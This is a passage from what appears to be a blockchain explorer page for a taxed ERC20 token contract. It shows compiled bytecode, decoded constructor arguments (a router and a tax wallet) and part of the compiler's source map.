8f1935050505015801561047a573d5f803e3d5ffd5b50565b5f610489848484610c2a565b6104da84336104d585604051806060016040528060288152602001611a45602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611302565b610b06565b5060019392505050565b5f546001600160a01b0316331461050d5760405162461bcd60e51b815260040161042f906118b1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161042f906118b1565b61058a6009600a61188c565b61059890633b9aca0061189a565b600d556105a76009600a61188c565b6105b590633b9aca0061189a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e56009600a61188c565b6105f390633b9aca0061189a565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461062f5760405162461bcd60e51b815260040161042f906118b1565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106715760405162461bcd60e51b815260040161042f906118b1565b6040516370a0823160e01b81523060048201525f906106f2906064906106ec9085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e691906118e6565b9061133a565b906113bf565b9050826001600160a01b031663a9059cbb6107145f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561075e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078291906118fd565b50505050565b5f6103dc338484610c2a565b5f546001600160a01b031633146107bd5760405162461bcd60e51b815260040161042f906118b1565b601254600160a01b900460ff16156108175760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042f565b6011546108439030906001600160a01b03166108356009600a61188c565b6104d590633b9aca0061189a565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610893573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b7919061191c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610916573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093a919061191c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610984573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a8919061191c565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306109ef816001600160a01b03165f9081526001602052604090205490565b5f80610a025f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a68573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a8d9190611937565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ae2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061047a91906118fd565b6001600160a01b038316610b685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042f565b6001600160a01b038216610bc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042f565b6001600160a01b038216610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042f565b5f8111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042f565b601254600160b01b900460ff161580610d735750601254600160a81b900460ff165b15610e60576001600160a01b0383165f9081526003602052604090205460ff1680610db557506001600160a01b0382165f9081526003602052604090205460ff165b610dbd575f80fd5b6001600160a01b0383165f90815260016020526040902054610ddf9082611400565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610e0d9082611441565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c1d9085815260200190565b5f80610e735f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610ea157505f546001600160a01b03858116911614155b8015610ebb57506004546001600160a01b03858116911614155b156111a257610ee660646106ec600954600c5411610edb57600554610edf565b6007545b869061133a565b6012549092506001600160a01b038681169116148015610f1457506011546001600160a01b03858116911614155b8015610f3857506001600160a01b0384165f9081526003602052604090205460ff16155b1561101e57600d54831115610f8f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042f565b600e5483610fb1866001600160a01b03165f9081526001602052604090205490565b610fbb9190611962565b11156110095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042f565b600c8054905f61101883611975565b91905055505b6012546001600160a01b03858116911614801561104457506001600160a01b0385163014155b156110715761106e60646106ec600a54600c541161106457600654610edf565b600854869061133a565b91505b305f90815260016020526040902054601254600160a81b900460ff161580156110a757506012546001600160a01b038681169116145b80156110bc5750601254600160b01b900460ff165b80156110c95750600f5481115b80156110d85750600b54600c54115b15611181576014544311156110ec575f6013555b60036013541061113e5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000604482015260640161042f565b8391508082111561114d578091505b60105482111561115d5760105491505b6111668261149f565b601380549193505f61117783611975565b9091555050436014555b6012546001600160a01b03908116908616036111a0576111a047611617565b505b811561121a57305f908152600160205260409020546111c19083611441565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112119086815260200190565b60405180910390a35b6001600160a01b0385165f9081526003602052604090205460ff1661123c5750815b6001600160a01b0385165f9081526001602052604090205461125e9082611400565b6001600160a01b0386165f908152600160205260409020556112a16112838484611400565b6001600160a01b0386165f9081526001602052604090205490611441565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ea8686611400565b60405190815260200160405180910390a35050505050565b5f81848411156113255760405162461bcd60e51b815260040161042f919061167e565b505f611331848661198d565b95945050505050565b5f825f0361134957505f6103e0565b5f611354838561189a565b90508261136185836119a0565b146113b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042f565b9392505050565b5f6113b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611652565b5f6113b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611302565b5f8061144d8385611962565b9050838110156113b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042f565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f928392919060208301908036833701905050905030815f815181106114e9576114e96119bf565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611540573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611564919061191c565b81600181518110611577576115776119bf565b6001600160a01b03928316602091820292909201015260115461159d9130911685610b06565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d59086905f908690309042906004016119d3565b5f604051808303815f87803b1580156115ec575f80fd5b505af11580156115fe573d5f803e3d5ffd5b50506012805460ff60a81b19169055505f949350505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561164e573d5f803e3d5ffd5b5050565b5f81836116725760405162461bcd60e51b815260040161042f919061167e565b505f61133184866119a0565b5f602080835283518060208501525f5b818110156116aa5785810183015185820160400152820161168e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461047a575f80fd5b5f80604083850312156116ef575f80fd5b82356116fa816116ca565b946020939093013593505050565b5f805f6060848603121561171a575f80fd5b8335611725816116ca565b92506020840135611735816116ca565b929592945050506040919091013590565b5f60208284031215611756575f80fd5b81356113b8816116ca565b5f8060408385031215611772575f80fd5b823561177d816116ca565b9150602083013561178d816116ca565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117e657815f19048211156117cc576117cc611798565b808516156117d957918102915b93841c93908002906117b1565b509250929050565b5f826117fc575060016103e0565b8161180857505f6103e0565b816001811461181e576002811461182857611844565b60019150506103e0565b60ff84111561183957611839611798565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715611867575081810a6103e0565b61187183836117ac565b805f190482111561188457611884611798565b029392505050565b5f6113b860ff8416836117ee565b80820281158282048414176103e0576103e0611798565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118f6575f80fd5b5051919050565b5f6020828403121561190d575f80fd5b815180151581146113b8575f80fd5b5f6020828403121561192c575f80fd5b81516113b8816116ca565b5f805f60608486031215611949575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103e0576103e0611798565b5f6001820161198657611986611798565b5060010190565b818103818111156103e0576103e0611798565b5f826119ba57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a235784516001600160a01b0316835293830193918301916001016119fe565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aaef283659e3158d916a9248eba2777c03da8863107f7b0df4310cebea3c4b7564736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000069a2401c53bab6dc31b5afbe662d5072a53e890

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet_ (address): 0x069A2401c53BaB6DC31b5aFbe662d5072a53e890

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000069a2401c53bab6dc31b5afbe662d5072a53e890


Deployed Bytecode Sourcemap

3595:8076:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5509:83;;;;;;;;;;-1:-1:-1;5579:5:0;;;;;;;;;;;;;;;;;5509:83;;;;;;;:::i;:::-;;;;;;;;6466:161;;;;;;;;;;-1:-1:-1;6466:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6466:161:0;1023:187:1;4636:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4636:52:0;1215:177:1;5786:95:0;;;;;;;;;;;;;:::i;7544:152::-;;;;;;;;;;;;;:::i;:::-;;6635:313;;;;;;;;;;-1:-1:-1;6635:313:0;;;;;:::i;:::-;;:::i;5695:83::-;;;;;;;;;;-1:-1:-1;5695:83:0;;4251:1;2000:36:1;;1988:2;1973:18;5695:83:0;1858:184:1;5889:119:0;;;;;;;;;;-1:-1:-1;5889:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5982:18:0;5955:7;5982:18;;;:9;:18;;;;;;;5889:119;2676:148;;;;;;;;;;;;;:::i;10884:150::-;;;;;;;;;;;;;:::i;4457:48::-;;;;;;;;;;;;;;;;4512:52;;;;;;;;;;;;;;;;6344:110;;;;;;;;;;;;;:::i;7303:229::-;;;;;;;;;;-1:-1:-1;7303:229:0;;;;;:::i;:::-;;:::i;2462:79::-;;;;;;;;;;-1:-1:-1;2500:7:0;2527:6;2462:79;;-1:-1:-1;;;;;2527:6:0;;;2445:51:1;;2433:2;2418:18;2462:79:0;2299:203:1;5600:87:0;;;;;;;;;;-1:-1:-1;5672:7:0;;;;;;;;;;;;-1:-1:-1;;;5672:7:0;;;;5600:87;;6016:167;;;;;;;;;;-1:-1:-1;6016:167:0;;;;;:::i;:::-;;:::i;4571:58::-;;;;;;;;;;;;;;;;6191:143;;;;;;;;;;-1:-1:-1;6191:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6299:18:0;;;6272:7;6299:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6191:143;11145:521;;;;;;;;;;;;;:::i;6466:161::-;6541:4;6558:39;297:10;6581:7;6590:6;6558:8;:39::i;:::-;-1:-1:-1;6615:4:0;6466:161;;;;;:::o;5786:95::-;5839:7;4307:13;4251:1;4307:2;:13;:::i;:::-;4294:26;;:10;:26;:::i;:::-;5859:14;;5786:95;:::o;7544:152::-;2589:6;;-1:-1:-1;;;;;2589:6:0;297:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;;;;;;:::i;:::-;;;;;;;;;7627:1:::1;7603:21;:25;7595:34;;;::::0;::::1;;2500:7:::0;2527:6;;7640:48:::1;::::0;-1:-1:-1;;;;;2527:6:0;;;;7666:21:::1;7640:48:::0;::::1;;;::::0;7666:21;;7640:48;2500:7;7640:48;7666:21;2527:6;7640:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7544:152::o:0;6635:313::-;6733:4;6750:36;6760:6;6768:9;6779:6;6750:9;:36::i;:::-;6797:121;6806:6;297:10;6828:89;6866:6;6828:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6828:19:0;;;;;;:11;:19;;;;;;;;297:10;6828:33;;;;;;;;;;:37;:89::i;:::-;6797:8;:121::i;:::-;-1:-1:-1;6936:4:0;6635:313;;;;;:::o;2676:148::-;2589:6;;-1:-1:-1;;;;;2589:6:0;297:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;;;;;;:::i;:::-;2783:1:::1;2767:6:::0;;2746:40:::1;::::0;-1:-1:-1;;;;;2767:6:0;;::::1;::::0;2746:40:::1;::::0;2783:1;;2746:40:::1;2814:1;2797:19:::0;;-1:-1:-1;;;;;;2797:19:0::1;::::0;;2676:148::o;10884:150::-;2589:6;;-1:-1:-1;;;;;2589:6:0;297:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;;;;;;:::i;:::-;4307:13:::1;4251:1;4307:2;:13;:::i;:::-;4294:26;::::0;:10:::1;:26;:::i;:::-;10938:6;:16:::0;4307:13:::1;4251:1;4307:2;:13;:::i;:::-;4294:26;::::0;:10:::1;:26;:::i;:::-;10965:10;:18:::0;10999:27:::1;4307:13;4251:1;4307:2;:13;:::i;:::-;4294:26;::::0;:10:::1;:26;:::i;:::-;10999:27;::::0;1361:25:1;;;1349:2;1334:18;10999:27:0::1;;;;;;;10884:150::o:0;6344:110::-;2589:6;;-1:-1:-1;;;;;2589:6:0;297:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;;;;;;:::i;:::-;6399:11:::1;:18:::0;;-1:-1:-1;;;;6428:18:0;-1:-1:-1;;;6428:18:0;;;6344:110::o;7303:229::-;2589:6;;-1:-1:-1;;;;;2589:6:0;297:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;;;;;;:::i;:::-;7407:41:::1;::::0;-1:-1:-1;;;7407:41:0;;7442:4:::1;7407:41;::::0;::::1;2445:51:1::0;7389:15:0::1;::::0;7407:63:::1;::::0;7466:3:::1;::::0;7407:54:::1;::::0;7453:7;;-1:-1:-1;;;;;7407:26:0;::::1;::::0;::::1;::::0;2418:18:1;;7407:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;7389:81;;7488:8;-1:-1:-1::0;;;;;7481:25:0::1;;7507:7;2500::::0;2527:6;-1:-1:-1;;;;;2527:6:0;;2462:79;7507:7:::1;7481:43;::::0;-1:-1:-1;;;;;;7481:43:0::1;::::0;;;;;;-1:-1:-1;;;;;5324:32:1;;;7481:43:0::1;::::0;::::1;5306:51:1::0;5373:18;;;5366:34;;;5279:18;;7481:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7378:154;7303:229:::0;;:::o;6016:167::-;6094:4;6111:42;297:10;6135:9;6146:6;6111:9;:42::i;11145:521::-;2589:6;;-1:-1:-1;;;;;2589:6:0;297:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;;;;;;:::i;:::-;11208:11:::1;::::0;-1:-1:-1;;;11208:11:0;::::1;;;11207:12;11199:47;;;::::0;-1:-1:-1;;;11199:47:0;;5895:2:1;11199:47:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973:25;5953:18;;;5946:53;6016:18;;11199:47:0::1;5693:347:1::0;11199:47:0::1;11289:15;::::0;11257:58:::1;::::0;11274:4:::1;::::0;-1:-1:-1;;;;;11289:15:0::1;4307:13;4251:1;4307:2;:13;:::i;:::-;4294:26;::::0;:10:::1;:26;:::i;11257:58::-;11360:15;;;;;;;;;-1:-1:-1::0;;;;;11360:15:0::1;-1:-1:-1::0;;;;;11360:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11342:55:0::1;;11406:4;11413:15;;;;;;;;;-1:-1:-1::0;;;;;11413:15:0::1;-1:-1:-1::0;;;;;11413:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11342:94;::::0;-1:-1:-1;;;;;;11342:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6531:15:1;;;11342:94:0::1;::::0;::::1;6513:34:1::0;6583:15;;6563:18;;;6556:43;6448:18;;11342:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11326:13;:110:::0;;-1:-1:-1;;;;;11326:110:0;;::::1;-1:-1:-1::0;;;;;;11326:110:0;;::::1;;::::0;;11447:15:::1;::::0;::::1;:31;11486:21;11517:4;11523:24;11517:4:::0;-1:-1:-1;;;;;5982:18:0;5955:7;5982:18;;;:9;:18;;;;;;;5889:119;11523:24:::1;11548:1;11550::::0;11552:7:::1;2500::::0;2527:6;-1:-1:-1;;;;;2527:6:0;;2462:79;11552:7:::1;11447:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11447:129:0;;;-1:-1:-1;;;;;6969:15:1;;;11447:129:0::1;::::0;::::1;6951:34:1::0;7001:18;;;6994:34;;;;7044:18;;;7037:34;;;;7087:18;;;7080:34;7151:15;;;7130:19;;;7123:44;11560:15:0::1;7183:19:1::0;;;7176:35;6885:19;;11447:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11594:13:0::1;::::0;11625:15:::1;::::0;11587:71:::1;::::0;-1:-1:-1;;;11587:71:0;;-1:-1:-1;;;;;11625:15:0;;::::1;11587:71;::::0;::::1;5306:51:1::0;-1:-1:-1;;5373:18:1;;;5366:34;11594:13:0;::::1;::::0;-1:-1:-1;11587:29:0::1;::::0;5279:18:1;;11587:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6956:335::-:0;-1:-1:-1;;;;;7049:19:0;;7041:68;;;;-1:-1:-1;;;7041:68:0;;7735:2:1;7041:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;7041:68:0;7533:400:1;7041:68:0;-1:-1:-1;;;;;7128:21:0;;7120:68;;;;-1:-1:-1;;;7120:68:0;;8140:2:1;7120:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;7120:68:0;7938:398:1;7120:68:0;-1:-1:-1;;;;;7199:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7251:32;;1361:25:1;;;7251:32:0;;1334:18:1;7251:32:0;;;;;;;;6956:335;;;:::o;7741:2608::-;-1:-1:-1;;;;;7833:19:0;;7825:69;;;;-1:-1:-1;;;7825:69:0;;8543:2:1;7825:69:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;7825:69:0;8341:401:1;7825:69:0;-1:-1:-1;;;;;7913:19:0;;7905:67;;;;-1:-1:-1;;;7905:67:0;;8949:2:1;7905:67:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;7905:67:0;8747:399:1;7905:67:0;8000:1;7991:6;:10;7983:64;;;;-1:-1:-1;;;7983:64:0;;9353:2:1;7983:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;7983:64:0;9151:405:1;7983:64:0;8063:11;;-1:-1:-1;;;8063:11:0;;;;8062:12;;:22;;-1:-1:-1;8078:6:0;;-1:-1:-1;;;8078:6:0;;;;8062:22;8058:291;;;-1:-1:-1;;;;;8109:14:0;;;;;;:7;:14;;;;;;;;;:32;;-1:-1:-1;;;;;;8127:14:0;;;;;;:7;:14;;;;;;;;8109:32;8101:41;;;;;;-1:-1:-1;;;;;8176:16:0;;;;;;:9;:16;;;;;;:28;;8197:6;8176:20;:28::i;:::-;-1:-1:-1;;;;;8157:16:0;;;;;;;:9;:16;;;;;;:47;;;;8238:16;;;;;;;:28;;8259:6;8238:20;:28::i;:::-;-1:-1:-1;;;;;8219:16:0;;;;;;;:9;:16;;;;;;;:47;;;;8286:30;;;;;;;;;;8309:6;1361:25:1;;1349:2;1334:18;;1215:177;8058:291:0;8349:17;8369:18;8411:7;2500;2527:6;-1:-1:-1;;;;;2527:6:0;;2462:79;8411:7;-1:-1:-1;;;;;8402:16:0;:5;-1:-1:-1;;;;;8402:16:0;;;:36;;;;-1:-1:-1;2500:7:0;2527:6;-1:-1:-1;;;;;8422:16:0;;;2527:6;;8422:16;;8402:36;:60;;;;-1:-1:-1;8451:11:0;;-1:-1:-1;;;;;8442:20:0;;;8451:11;;8442:20;;8402:60;8398:1515;;;8491:76;8563:3;8491:67;8513:15;;8503:9;;:25;8502:55;;8543:14;;8502:55;;;8530:12;;8502:55;8491:6;;:10;:67::i;:76::-;8595:13;;8479:88;;-1:-1:-1;;;;;;8586:22:0;;;8595:13;;8586:22;:59;;;;-1:-1:-1;8629:15:0;;-1:-1:-1;;;;;8612:33:0;;;8629:15;;8612:33;;8586:59;:79;;;;-1:-1:-1;;;;;;8651:14:0;;;;;;:7;:14;;;;;;;;8649:16;8586:79;8582:302;;;8705:6;;8695;:16;;8687:54;;;;-1:-1:-1;;;8687:54:0;;9763:2:1;8687:54:0;;;9745:21:1;9802:2;9782:18;;;9775:30;9841:27;9821:18;;;9814:55;9886:18;;8687:54:0;9561:349:1;8687:54:0;8797:10;;8787:6;8768:16;8778:5;-1:-1:-1;;;;;5982:18:0;5955:7;5982:18;;;:9;:18;;;;;;;5889:119;8768:16;:25;;;;:::i;:::-;:39;;8760:78;;;;-1:-1:-1;;;8760:78:0;;10247:2:1;8760:78:0;;;10229:21:1;10286:2;10266:18;;;10259:30;10325:28;10305:18;;;10298:56;10371:18;;8760:78:0;10045:350:1;8760:78:0;8857:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8582:302;8912:13;;-1:-1:-1;;;;;8903:22:0;;;8912:13;;8903:22;:47;;;;-1:-1:-1;;;;;;8929:21:0;;8945:4;8929:21;;8903:47;8900:178;;;8983:79;9058:3;8983:70;9005:16;;8995:9;;:26;8994:58;;9037:15;;8994:58;;;9023:13;;8983:6;;:10;:70::i;:79::-;8971:91;;8900:178;9143:4;9094:28;5982:18;;;:9;:18;;;;;;9169:6;;-1:-1:-1;;;9169:6:0;;;;9168:7;:33;;;;-1:-1:-1;9188:13:0;;-1:-1:-1;;;;;9179:22:0;;;9188:13;;9179:22;9168:33;:48;;;;-1:-1:-1;9205:11:0;;-1:-1:-1;;;9205:11:0;;;;9168:48;:92;;;;;9243:17;;9220:20;:40;9168:92;:126;;;;;9276:18;;9264:9;;:30;9168:126;9164:661;;;9334:13;;9319:12;:28;9315:90;;;9384:1;9372:9;:13;9315:90;9443:1;9431:9;;:13;9423:49;;;;-1:-1:-1;;;9423:49:0;;10742:2:1;9423:49:0;;;10724:21:1;10781:2;10761:18;;;10754:30;10820:25;10800:18;;;10793:53;10863:18;;9423:49:0;10540:347:1;9423:49:0;9504:6;9491:19;;9545:20;9532:10;:33;9529:71;;;9580:20;9567:33;;9529:71;9635:11;;9622:10;:24;9619:53;;;9661:11;;9648:24;;9619:53;9704:28;9721:10;9704:16;:28::i;:::-;9751:9;:11;;9691:41;;-1:-1:-1;9751:9:0;:11;;;:::i;:::-;;;;-1:-1:-1;;9797:12:0;9781:13;:28;9164:661;9851:13;;-1:-1:-1;;;;;9851:13:0;;;9842:22;;;;9839:62;;9866:35;9879:21;9866:12;:35::i;:::-;8464:1449;8398:1515;9927:13;;9923:173;;10002:4;9984:24;;;;:9;:24;;;;;;:39;;10013:9;9984:28;:39::i;:::-;9975:4;9957:24;;;;:9;:24;;;;;;;:66;;;;10043:41;;-1:-1:-1;;;;;10043:41:0;;;;;;;10074:9;1361:25:1;;1349:2;1334:18;;1215:177;10043:41:0;;;;;;;;9923:173;-1:-1:-1;;;;;10110:14:0;;;;;;:7;:14;;;;;;;;10106:39;;-1:-1:-1;10139:6:0;10106:39;-1:-1:-1;;;;;10175:16:0;;;;;;:9;:16;;;;;;:32;;10196:10;10175:20;:32::i;:::-;-1:-1:-1;;;;;10156:16:0;;;;;;:9;:16;;;;;:51;10237:43;10258:21;:6;10269:9;10258:10;:21::i;:::-;-1:-1:-1;;;;;10237:16:0;;;;;;:9;:16;;;;;;;:20;:43::i;:::-;-1:-1:-1;;;;;10218:16:0;;;;;;;:9;:16;;;;;:62;;;;10296:45;;;10319:21;:6;10330:9;10319:10;:21::i;:::-;10296:45;;1361:25:1;;;1349:2;1334:18;10296:45:0;;;;;;;7814:2535;;7741:2608;;;:::o;1354:190::-;1440:7;1476:12;1468:6;;;;1460:29;;;;-1:-1:-1;;;1460:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1500:9:0;1512:5;1516:1;1512;:5;:::i;:::-;1500:17;1354:190;-1:-1:-1;;;;;1354:190:0:o;1552:246::-;1610:7;1634:1;1639;1634:6;1630:47;;-1:-1:-1;1664:1:0;1657:8;;1630:47;1687:9;1699:5;1703:1;1699;:5;:::i;:::-;1687:17;-1:-1:-1;1732:1:0;1723:5;1727:1;1687:17;1723:5;:::i;:::-;:10;1715:56;;;;-1:-1:-1;;;1715:56:0;;11449:2:1;1715:56:0;;;11431:21:1;11488:2;11468:18;;;11461:30;11527:34;11507:18;;;11500:62;-1:-1:-1;;;11578:18:1;;;11571:31;11619:19;;1715:56:0;11247:397:1;1715:56:0;1789:1;1552:246;-1:-1:-1;;;1552:246:0:o;1806:132::-;1864:7;1891:39;1895:1;1898;1891:39;;;;;;;;;;;;;;;;;:3;:39::i;1210:136::-;1268:7;1295:43;1299:1;1302;1295:43;;;;;;;;;;;;;;;;;:3;:43::i;1023:179::-;1081:7;;1113:5;1117:1;1113;:5;:::i;:::-;1101:17;;1142:1;1137;:6;;1129:46;;;;-1:-1:-1;;;1129:46:0;;11851:2:1;1129:46:0;;;11833:21:1;11890:2;11870:18;;;11863:30;11929:29;11909:18;;;11902:57;11976:18;;1129:46:0;11649:351:1;10357:519:0;5050:6;:13;;-1:-1:-1;;;;5050:13:0;-1:-1:-1;;;5050:13:0;;;10476:16:::1;::::0;;10490:1:::1;10476:16:::0;;;;;::::1;::::0;;-1:-1:-1;;;;10476:16:0;10490:1;10476:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10476:16:0::1;10452:40;;10521:4;10503;10508:1;10503:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10503:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10547:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10547:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10503:7;;10547:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10537:4;10542:1;10537:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10537:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10612:15:::1;::::0;10580:62:::1;::::0;10597:4:::1;::::0;10612:15:::1;10630:11:::0;10580:8